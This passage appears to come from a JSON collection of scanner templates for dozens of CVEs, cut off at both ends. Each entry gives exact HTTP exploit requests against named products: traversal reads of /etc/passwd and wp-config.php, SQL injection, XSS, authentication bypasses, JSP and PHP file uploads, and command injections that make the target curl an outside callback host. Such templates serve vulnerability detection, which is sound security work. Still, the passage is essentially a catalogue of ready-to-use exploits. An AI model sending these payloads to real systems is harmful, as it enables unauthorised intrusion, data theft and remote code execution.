Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9606","info":{"name":"Netsweeper 4.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-1203","info":{"name":"Eyou E-Mail <3.6 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntype='|cat /etc/passwd||'\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2383","info":{"name":"Dompdf < v0.6.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/pdf","filename=\"dompdf_out.pdf\""],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9609","info":{"name":"Netsweeper 4.0.8 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3744","info":{"name":"Node.js st module Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4544","info":{"name":"Podcast Channels < 0.28 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8676","info":{"name":"Simple Online Planning Tool <1.3.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8799","info":{"name":"WordPress Plugin DukaPress 2.5.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_USER","DB_HOST"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37265","info":{"name":"CasaOS < 0.4.4 - Authentication Bypass via Internal IP","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/folder?path=%2F"],"headers":{"X-Forwarded-For":"127.0.0.1"},"matchers":[{"type":"word","words":["\"success\":200","\"message\":\"ok\"","content","is_dir"],"condition":"and"}],"extractors":[{"type":"json","json":[".data.content[].path"]}]}]},{"id":"CVE-2023-3836","info":{"name":"Dahua Smart Park Management - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1\nContent-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nHost: {{Hostname}}\n\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{random_str}}.jsp\"\nContent-Type: application/octet-stream\nContent-Transfer-Encoding: binary\n\n{{match_str}}\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--\n","GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200 && status_code_2 == 200","contains(body_2, '{{match_str}}')"],"condition":"and"}],"extractors":[{"type":"regex","name":"shell_filename","internal":true,"part":"body_1","regex":["ico_res_(\\w+)_on\\.jsp"]}]}]},{"id":"CVE-2023-2130","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/suppliers/view_details.php?id=1'+AND+(SELECT+9687+FROM+(SELECT(SLEEP(6)))pnac)+AND+'ARHJ'='ARHJ"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"Supplier Name\")"],"condition":"and"}]}]},{"id":"CVE-2023-25717","info":{"name":"Ruckus Wireless Admin - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http')","contains_all(to_lower(interactsh_request), 'user-agent','curl')","status_code_1 == 302"],"condition":"and"}]}]},{"id":"CVE-2023-24243","info":{"name":"CData RSB Connect v22.0.8336 - Server Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%255c%255c{{interactsh-url}}%255cC$%255cbb"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2023-1177","info":{"name":"Mlflow <2.2.1 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file:///etc/\"}\n","GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-30212","info":{"name":"OURPHP <= 7.2.0 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/client/manage/ourphp_out.php?ourphp_admin=logout&out="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["location.href='../..'"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35885","info":{"name":"Cloudpanel 2 < 2.3.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /file-manager/ HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\n","POST /file-manager/backend/makefile HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/&name={{str1}}.php\n","POST /file-manager/backend/text HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/{{str1}}.php&content=\n","POST /file-manager/backend/permissions HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/{{str1}}.php&permissions=0777\n","GET /{{str1}}.php HTTP/2\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["body_5 == str2"]}]}]},{"id":"CVE-2023-32117","info":{"name":"Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-json/igd/v1/get-users-data"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"name\":","\"email\":","\"role\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25346","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-22478","info":{"name":"KubePi <= v1.6.4 LoginLogsSearch - Unauthorized Access","severity":"high"},"requests":[{"raw":["@timeout 10\nPOST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"apiVersion\":","\"uuid\":","\"userName\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30210","info":{"name":"OURPHP <= 7.2.0 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/client/manage/ourphp_tz.php?act=rt&callback="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","barmemCachedPercent","swapPercent"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2982","info":{"name":"Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"set_cookie","words":["wordpress_sec_","wordpress_logged_in_"],"condition":"or"},{"type":"status","status":[302]}]}]},{"id":"CVE-2023-23489","info":{"name":"WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(body_1, \"[]\") && contains(body_2, \"Easy Digital Downloads\")"],"condition":"and"}]}]},{"id":"CVE-2023-29919","info":{"name":"SolarView Compact <= 6.00 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /texteditor.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndirectory=%2F/etc&open=%8AJ%82%AD&r_charset=none&newfile=&editfile=%2Fhome%2Fcontec%2Fdata%2FoutputCtrl%2Fremote%2F2016%2F\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["action=\"texteditor.php\"","adduser.conf","deluser.conf"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30777","info":{"name":"Advanced Custom Fields < 6.1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)//\")","contains(body_2, \"Advanced Custom Fields\")"],"condition":"and"}]}]},{"id":"CVE-2023-29922","info":{"name":"PowerJob V4.3.1 - Authentication Bypass","severity":"medium"},"requests":[{"raw":["POST /user/save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"username\":\"{{str}}\",\"phone\":\"{{str}}\",\"email\":\"{{str}}\",\"webHook\":\"{{str}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":true","\"data\":null"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1434","info":{"name":"Odoo - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/web/set_profiling?profile=0&collectors="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\"params\":","session"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34599","info":{"name":"Gibbon v25.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php? HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ\n\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"address\"\n\n\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"method\"\n\ndefault\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"username\"\n\n{{username}}\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"password\"\n\n{{password}}\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\n\n017\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"gibboni18nID\"\n\n0001\n------WebKitFormBoundary8m88nqhR1NAnQEYZ--\n","GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":[">","gibbon"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37580","info":{"name":"Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /zimbra/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginOp=login&username={{username}}&password={{password}}&client=mobile\n","GET /m/momoveto?st=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["","id=\"zMoveForm\""],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-33510","info":{"name":"Jeecg P3 Biz Chat - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24278","info":{"name":"Squidex <7.4.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","looking for!"],"condition":"and"},{"type":"word","part":"header","words":["image/svg+xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35843","info":{"name":"NocoDB version <= 0.106.1 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-36346","info":{"name":"POS Codekop v2.0 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/print.php?nm_member="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","print"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23333","info":{"name":"SolarView Compact 6.00 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nGET /downloader.php?file=%3B{{cmd}}%00.zip HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["33332-3202-EVC"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25157","info":{"name":"GeoServer OGC Filter - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\nHost: {{Hostname}}\n","GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 30s\nGET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"iterate-all":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["SQL SELECT"]},{"type":"word","part":"header_3","words":["text/xml"]}],"extractors":[{"type":"regex","name":"name","group":1,"regex":["(.*?)<\\/Name>"],"internal":true,"part":"body_1"},{"type":"regex","name":"column","group":1,"regex":["FID,([aA-zZ_]+),"],"internal":true,"part":"body_2"}]}]},{"id":"CVE-2023-3345","info":{"name":"LMS by Masteriyo < 1.6.8 - Information Exposure","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/profile.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/masteriyo/v1/users/ HTTP/1.1\nHost: {{Hostname}}\nX-WP-Nonce: {{nonce}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["\"username\":","\"email\":","\"roles\":"],"condition":"and"},{"type":"word","part":"header_3","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","part":"body","group":1,"regex":["\"nonce\":\"([a-z0-9]+)\",\"versionString"],"internal":true}]}]},{"id":"CVE-2023-0968","info":{"name":"WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn=\"%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/onmouseover=alert(document.domain)//\")","contains(body_2, \"Watu Quizzes\")"],"condition":"and"}]}]},{"id":"CVE-2023-22897","info":{"name":"Securepoint UTM - Leaking Remote Memory Contents","severity":"medium"},"requests":[{"raw":["POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"sessionid\":","\"mode\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0630","info":{"name":"Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=parse-media-shortcode&shortcode=[slimstat f=\"count\" w=\"author\"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 200","contains(content_type_2, \"application/json\")","contains(body_2, \"audioShortcodeLibrary\")"],"condition":"and"}]}]},{"id":"CVE-2023-32315","info":{"name":"Openfire Administration Console - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apache","java","openfire","jivesoftware"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24657","info":{"name":"phpIPAM - 1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /app/login/login_check.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nipamusername={{username}}&ipampassword={{password}}\n","GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"<script>alert(document.domain)</script>\") && contains(body_2, \"Subnet masks\")"],"condition":"and"}]}]},{"id":"CVE-2023-34843","info":{"name":"Traggo Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/plain"]},{"type":"regex","part":"body","regex":["root:.*:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26256","info":{"name":"STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["$textMime"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0552","info":{"name":"WordPress Pie Register <3.8.2.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin?piereg_logout_url=true&redirect_to=https://oast.me"],"redirects":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2023-29084","info":{"name":"ManageEngine ADManager Plus - Command Injection","severity":"high"},"requests":[{"raw":["POST /j_security_check HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nis_admp_pass_encrypted=false&j_username={{username}}&j_password={{password}}&domainName=ADManager+Plus+Authentication&AUTHRULE_NAME=ADAuthenticator\n","GET /home.do HTTP/1.1\nHost: {{Hostname}}\n","POST /api/json/admin/saveServerSettings HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\nparams=[{\"tabId\":\"proxy\",\"ENABLE_PROXY\":true,\"SERVER_NAME\":\"1.1.1.1\",\"USER_NAME\":\"random\",\"PASSWORD\":\"asd\\r\\n{{cmd}}\",\"PORT\":\"80\"}]&admpcsrf={{admpcsrf}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"message\":\"","Proxy Settings"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]}],"extractors":[{"type":"kval","name":"admpcsrf","internal":true,"kval":["admpcsrf"],"part":"header"}]}]},{"id":"CVE-2023-1020","info":{"name":"Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25b","no_participation"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24322","info":{"name":"mojoPortal 2.7.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["javascript:alert('document.domain')","File Browser"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0261","info":{"name":"WordPress WP TripAdvisor Review Slider <10.8 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\ncontent-type: application/x-www-form-urlencoded\n\naction=parse-media-shortcode&shortcode=[wptripadvisor_usetemplate+tid=\"1+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b)\"]\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(content_type_2, \"application/json\")","contains(body_2, \"\\\"data\\\":{\")"],"condition":"and"}]}]},{"id":"CVE-2023-34537","info":{"name":"Hoteldruid 3.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /inizio.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nvers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}\n","POST /creaprezzi.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nanno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1\n"],"skip-variables-check":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\")","contains(body_2, 